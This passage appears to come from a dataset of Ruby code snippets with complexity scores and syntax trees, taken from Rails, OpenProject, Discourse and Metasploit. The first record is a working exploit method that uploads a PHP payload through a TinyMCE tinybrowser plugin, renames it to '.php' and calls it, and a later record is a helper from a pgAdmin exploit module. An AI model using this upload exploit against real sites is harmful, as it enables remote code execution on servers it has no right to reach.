\"--#{boundary}\\r\\nContent-Disposition: form-data; name=\\\"Filename\\\"\\r\\n\\r\\n\"\n data << \"#{cmdscript}.ph.p\\r\\n--#{boundary}\"\n data << \"\\r\\nContent-Disposition: form-data; name=\\\"Filedata\\\"; filename=\\\"#{cmdscript}.ph.p\\\"\\r\\n\"\n data << \"Content-Type: application/octet-stream\\r\\n\\r\\n\"\n data << cmd_php\n data << \"\\r\\n--#{boundary}--\"\n\n res = send_request_raw({\n 'uri'\t=> uri_base + \"/upload_file.php?folder=\" + directory + \"&type=file&feid=&obfuscate=#{obfuscation_code}&sessidpass=\",\n 'method' => 'POST',\n 'data' => data,\n 'headers' =>\n {\n 'Content-Length' => data.length,\n 'Content-Type'\t=> 'multipart/form-data; boundary=' + boundary,\n }\n }, 25)\n\n if (res and res.body =~ /File Upload Success/)\n print_good(\"Successfully Uploaded #{cmdscript}.ph.p\")\n else\n print_error(\"Error uploading #{cmdscript}.ph.p\")\n end\n\n # Complete the upload process (rename file)\n print_status(\"Renaming file from #{cmdscript}.ph.p_ to #{cmdscript}.ph.p\")\n res = send_request_raw({\n 'uri' => uri_base + '/upload_process.php?folder=' + directory + '&type=file&feid=&filetotal=1'\n })\n\n # Rename the file from .ph.p to .php\n res = send_request_cgi(\n {\n 'method' => 'POST',\n 'uri' => uri_base + '/edit.php?type=file&folder=',\n 'vars_post' =>\n {\n 'actionfile[0]' => \"#{cmdscript}.ph.p\",\n 'renameext[0]' => 'p',\n 'renamefile[0]' => \"#{cmdscript}.ph\",\n 'sortby' => 'name',\n 'sorttype' => 'asc',\n 'showpage' => '0',\n 'action' => 'rename',\n 'commit' => '',\n }\n }, 10\n )\n\n if (res and res.body =~ /successfully renamed./)\n print_status(\"Renamed #{cmdscript}.ph.p to #{cmdscript}.php\")\n else\n print_error(\"Failed to rename #{cmdscript}.ph.p to #{cmdscript}.php\")\n end\n\n # Finally call the payload\n print_status(\"Calling payload: #{cmdscript}.php\")\n uri = normalize_uri(datastore['URI'])\n uri << '/' if uri[-1, 1] != '/'\n uri << directory + cmdscript + \".php\"\n res = send_request_raw({\n 'uri'\t=> uri\n }, 25)\n end","complexity_score":86.0,"ast_json":"{\"type\":\"def\",\"children\":[\"exploit\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"cmd_php\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"<?php \"]},\"+\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"payload\"]},\"encoded\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"?>\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"cmdscript\",{\"type\":\"send\",\"children\":[null,\"rand_text_alpha_lower\",{\"type\":\"int\",\"children\":[20]}]}]},{\"type\":\"lvasgn\",\"children\":[\"boundary\",{\"type\":\"send\",\"children\":[null,\"rand_text_alphanumeric\",{\"type\":\"int\",\"children\":[6]}]}]},{\"type\":\"lvasgn\",\"children\":[\"directory\",{\"type\":\"str\",\"children\":[\"/images/stories/\"]}]},{\"type\":\"lvasgn\",\"children\":[\"uri_base\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_base\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_base\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_base\"]},\"<<\",{\"type\":\"str\",\"children\":[\"plugins/editors/tinymce/jscripts/tiny_mce/plugins/tinybrowser\"]}]},{\"type\":\"lvasgn\",\"children\":[\"obfuscation_code\",{\"type\":\"nil\",\"children\":[]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_base\"]},\"+\",{\"type\":\"str\",\"children\":[\"/upload.php?type=file&folder=\"]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"\\\"obfus\\\", \\\"((\\\\w)+)\\\"\\\\)\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"obfuscation_code\",{\"type\":\"nth_ref\",\"children\":[1]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully retrieved obfuscation code: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obfuscation_code\"]}]}]}]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"str\",\"children\":[\"Error retrieving obfuscation code!\"]}]},{\"type\":\"return\",\"children\":[]}]}]},null]},{\"type\":\"lvasgn\",\"children\":[\"data\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]},{\"type\":\"str\",\"children\":[\"\\r\\nContent-Disposition: form-data; name=\\\"Filename\\\"\\r\\n\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p\\r\\n--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r\\nContent-Disposition: form-data; name=\\\"Filedata\\\"; filename=\\\"\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p\\\"\\r\\n\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"str\",\"children\":[\"Content-Type: application/octet-stream\\r\\n\\r\\n\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"lvar\",\"children\":[\"cmd_php\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"<<\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"\\r\\n--\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"boundary\"]}]},{\"type\":\"str\",\"children\":[\"--\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_base\"]},\"+\",{\"type\":\"str\",\"children\":[\"/upload_file.php?folder=\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"directory\"]}]},\"+\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"&type=file&feid=&obfuscate=\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"obfuscation_code\"]}]},{\"type\":\"str\",\"children\":[\"&sessidpass=\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"lvar\",\"children\":[\"data\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Length\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"data\"]},\"length\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"Content-Type\"]},{\"type\":\"send\",\"children\":[{\"type\":\"str\",\"children\":[\"multipart/form-data; boundary=\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"boundary\"]}]}]}]}]}]},{\"type\":\"int\",\"children\":[25]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"File Upload Success\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Successfully Uploaded \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Error uploading \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Renaming file from \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p_ to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_base\"]},\"+\",{\"type\":\"str\",\"children\":[\"/upload_process.php?folder=\"]}]},\"+\",{\"type\":\"lvar\",\"children\":[\"directory\"]}]},\"+\",{\"type\":\"str\",\"children\":[\"&type=file&feid=&filetotal=1\"]}]}]}]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri_base\"]},\"+\",{\"type\":\"str\",\"children\":[\"/edit.php?type=file&folder=\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"vars_post\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"actionfile[0]\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"renameext[0]\"]},{\"type\":\"str\",\"children\":[\"p\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"renamefile[0]\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sortby\"]},{\"type\":\"str\",\"children\":[\"name\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"sorttype\"]},{\"type\":\"str\",\"children\":[\"asc\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"showpage\"]},{\"type\":\"str\",\"children\":[\"0\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"action\"]},{\"type\":\"str\",\"children\":[\"rename\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"commit\"]},{\"type\":\"str\",\"children\":[\"\"]}]}]}]}]},{\"type\":\"int\",\"children\":[10]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"and\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"body\"]},\"=~\",{\"type\":\"regexp\",\"children\":[{\"type\":\"str\",\"children\":[\"successfully renamed.\"]},{\"type\":\"regopt\",\"children\":[]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Renamed \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"send\",\"children\":[null,\"print_error\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to rename \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".ph.p to \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_status\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Calling payload: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"uri\",{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"URI\"]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"[]\",{\"type\":\"int\",\"children\":[-1]},{\"type\":\"int\",\"children\":[1]}]},\"!=\",{\"type\":\"str\",\"children\":[\"/\"]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"str\",\"children\":[\"/\"]}]},null]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"uri\"]},\"<<\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"directory\"]},\"+\",{\"type\":\"lvar\",\"children\":[\"cmdscript\"]}]},\"+\",{\"type\":\"str\",\"children\":[\".php\"]}]}]},{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_raw\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"lvar\",\"children\":[\"uri\"]}]}]},{\"type\":\"int\",\"children\":[25]}]}]}]}]}","id":"08a56fee-2f77-409c-8990-5fd34cd49b10"} {"repo_name":"rails","file_path":"./repos/rails/railties/test/generators/devcontainer_generator_test.rb","start_line":271,"raw_source":"def test_redis_option_skip\n run_generator [\"--skip-redis\"]\n\n test_common_config\n assert_compose_file do |compose|\n assert_not_includes compose[\"services\"][\"rails-app\"][\"depends_on\"], \"redis\"\n assert_nil compose[\"services\"][\"redis\"]\n assert_nil compose[\"volumes\"]\n end\n\n assert_devcontainer_json_file do |devcontainer_json|\n assert_not_includes devcontainer_json[\"forwardPorts\"], 6379\n end\n end","complexity_score":21.53,"ast_json":"{\"type\":\"def\",\"children\":[\"test_redis_option_skip\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"run_generator\",{\"type\":\"array\",\"children\":[{\"type\":\"str\",\"children\":[\"--skip-redis\"]}]}]},{\"type\":\"send\",\"children\":[null,\"test_common_config\"]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_compose_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"compose\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose\"]},\"[]\",{\"type\":\"str\",\"children\":[\"services\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"rails-app\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"depends_on\"]}]},{\"type\":\"str\",\"children\":[\"redis\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose\"]},\"[]\",{\"type\":\"str\",\"children\":[\"services\"]}]},\"[]\",{\"type\":\"str\",\"children\":[\"redis\"]}]}]},{\"type\":\"send\",\"children\":[null,\"assert_nil\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"compose\"]},\"[]\",{\"type\":\"str\",\"children\":[\"volumes\"]}]}]}]}]},{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"assert_devcontainer_json_file\"]},{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"devcontainer_json\"]}]},{\"type\":\"send\",\"children\":[null,\"assert_not_includes\",{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"devcontainer_json\"]},\"[]\",{\"type\":\"str\",\"children\":[\"forwardPorts\"]}]},{\"type\":\"int\",\"children\":[6379]}]}]}]}]}","id":"612a8aa0-c344-405e-b158-d3c9ee8667b6"} {"repo_name":"metasploit-framework","file_path":"./repos/metasploit-framework/modules/exploits/multi/http/pgadmin_query_tool_authenticated.rb","start_line":89,"raw_source":"def post_initialize_sqleditor(trans_id, sgid, sid, did)\n res = send_request_cgi({\n 'uri' => normalize_uri(target_uri.path, \"/sqleditor/initialize/sqleditor/#{trans_id}/#{sgid}/#{sid}/#{did}\"),\n 'method' => 'POST',\n 'keep_cookies' => true,\n 'ctype' => 'application/json',\n 'headers' => { 'X-pgA-CSRFToken' => csrf_token },\n 'data' => {\n 'user' => datastore['DB_USER'],\n 'password' => datastore['DB_PASS'],\n 'role' => '',\n 'dbname' => datastore['DB_NAME']\n }.to_json\n })\n\n unless res&.code == 200\n errmsg = res&.get_json_document&.dig('result', 'errmsg') || 'unknown error'\n fail_with(Failure::UnexpectedReply, \"Failed to initialize sqleditor: #{errmsg}\")\n end\n\n print_good('Successfully initialized sqleditor')\n end","complexity_score":28.6,"ast_json":"{\"type\":\"def\",\"children\":[\"post_initialize_sqleditor\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"trans_id\"]},{\"type\":\"arg\",\"children\":[\"sgid\"]},{\"type\":\"arg\",\"children\":[\"sid\"]},{\"type\":\"arg\",\"children\":[\"did\"]}]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"res\",{\"type\":\"send\",\"children\":[null,\"send_request_cgi\",{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"uri\"]},{\"type\":\"send\",\"children\":[null,\"normalize_uri\",{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"target_uri\"]},\"path\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"/sqleditor/initialize/sqleditor/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"trans_id\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sgid\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"sid\"]}]},{\"type\":\"str\",\"children\":[\"/\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"did\"]}]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"method\"]},{\"type\":\"str\",\"children\":[\"POST\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"keep_cookies\"]},{\"type\":\"true\",\"children\":[]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"ctype\"]},{\"type\":\"str\",\"children\":[\"application/json\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"headers\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"X-pgA-CSRFToken\"]},{\"type\":\"send\",\"children\":[null,\"csrf_token\"]}]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"data\"]},{\"type\":\"send\",\"children\":[{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"user\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_USER\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"password\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_PASS\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"role\"]},{\"type\":\"str\",\"children\":[\"\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"str\",\"children\":[\"dbname\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"datastore\"]},\"[]\",{\"type\":\"str\",\"children\":[\"DB_NAME\"]}]}]}]},\"to_json\"]}]}]}]}]},{\"type\":\"if\",\"children\":[{\"type\":\"send\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"code\"]},\"==\",{\"type\":\"int\",\"children\":[200]}]},null,{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"errmsg\",{\"type\":\"or\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"csend\",\"children\":[{\"type\":\"lvar\",\"children\":[\"res\"]},\"get_json_document\"]},\"dig\",{\"type\":\"str\",\"children\":[\"result\"]},{\"type\":\"str\",\"children\":[\"errmsg\"]}]},{\"type\":\"str\",\"children\":[\"unknown error\"]}]}]},{\"type\":\"send\",\"children\":[null,\"fail_with\",{\"type\":\"const\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Failure\"]},\"UnexpectedReply\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"Failed to initialize sqleditor: \"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"errmsg\"]}]}]}]}]}]},{\"type\":\"send\",\"children\":[null,\"print_good\",{\"type\":\"str\",\"children\":[\"Successfully initialized sqleditor\"]}]}]}]}","id":"924de4f1-dcde-49ff-b647-0866bd662c2e"} {"repo_name":"openproject","file_path":"./repos/openproject/app/helpers/settings_helper.rb","start_line":140,"raw_source":"def setting_check_box(setting, options = {})\n setting_label(setting, options) +\n wrap_field_outer(options) do\n hidden = with_empty_unless_writable(setting) do\n tag(:input, type: \"hidden\", name: \"settings[#{setting}]\", value: 0, id: \"settings_#{setting}_hidden\")\n end\n\n hidden +\n styled_check_box_tag(\"settings[#{setting}]\",\n 1,\n Setting.send(:\"#{setting}?\"),\n disabled_setting_option(setting).merge(options))\n end\n end","complexity_score":23.95,"ast_json":"{\"type\":\"def\",\"children\":[\"setting_check_box\",{\"type\":\"args\",\"children\":[{\"type\":\"arg\",\"children\":[\"setting\"]},{\"type\":\"optarg\",\"children\":[\"options\",{\"type\":\"hash\",\"children\":[]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"setting_label\",{\"type\":\"lvar\",\"children\":[\"setting\"]},{\"type\":\"lvar\",\"children\":[\"options\"]}]},\"+\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"wrap_field_outer\",{\"type\":\"lvar\",\"children\":[\"options\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvasgn\",\"children\":[\"hidden\",{\"type\":\"block\",\"children\":[{\"type\":\"send\",\"children\":[null,\"with_empty_unless_writable\",{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"args\",\"children\":[]},{\"type\":\"send\",\"children\":[null,\"tag\",{\"type\":\"sym\",\"children\":[\"input\"]},{\"type\":\"hash\",\"children\":[{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"type\"]},{\"type\":\"str\",\"children\":[\"hidden\"]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"name\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"settings[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"value\"]},{\"type\":\"int\",\"children\":[0]}]},{\"type\":\"pair\",\"children\":[{\"type\":\"sym\",\"children\":[\"id\"]},{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"settings_\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\"_hidden\"]}]}]}]}]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"lvar\",\"children\":[\"hidden\"]},\"+\",{\"type\":\"send\",\"children\":[null,\"styled_check_box_tag\",{\"type\":\"dstr\",\"children\":[{\"type\":\"str\",\"children\":[\"settings[\"]},{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\"]\"]}]},{\"type\":\"int\",\"children\":[1]},{\"type\":\"send\",\"children\":[{\"type\":\"const\",\"children\":[null,\"Setting\"]},\"send\",{\"type\":\"dsym\",\"children\":[{\"type\":\"begin\",\"children\":[{\"type\":\"lvar\",\"children\":[\"setting\"]}]},{\"type\":\"str\",\"children\":[\"?\"]}]}]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"disabled_setting_option\",{\"type\":\"lvar\",\"children\":[\"setting\"]}]},\"merge\",{\"type\":\"lvar\",\"children\":[\"options\"]}]}]}]}]}]}]}]}","id":"262bf1de-b2c4-49e0-868d-10322bacfa27"} {"repo_name":"openproject","file_path":"./repos/openproject/spec/support/components/timelines/timeline_row.rb","start_line":105,"raw_source":"def expect_no_bar\n loading_indicator_saveguard\n expect(container).to have_no_css(\".timeline-element\")\n end","complexity_score":5.8,"ast_json":"{\"type\":\"def\",\"children\":[\"expect_no_bar\",{\"type\":\"args\",\"children\":[]},{\"type\":\"begin\",\"children\":[{\"type\":\"send\",\"children\":[null,\"loading_indicator_saveguard\"]},{\"type\":\"send\",\"children\":[{\"type\":\"send\",\"children\":[null,\"expect\",{\"type\":\"send\",\"children\":[null,\"container\"]}]},\"to\",{\"type\":\"send\",\"children\":[null,\"have_no_css\",{\"type\":\"str\",\"children\":[\".timeline-element\"]}]}]}]}]}","id":"6a1c9674-9a2c-469f-b41b-bf4ebe8a1853"} {"repo_name":"discourse","file_path":"./repos/discourse/plugins/discourse-ai/lib/summarization/strategies/topic_summary.rb","start_line":76,"raw_source":"def pick_selection\n posts =\n Post\n .where(topic_id: target.id)\n .where(\"post_type = ?\", Post.types[:regular])\n .where(\"NOT 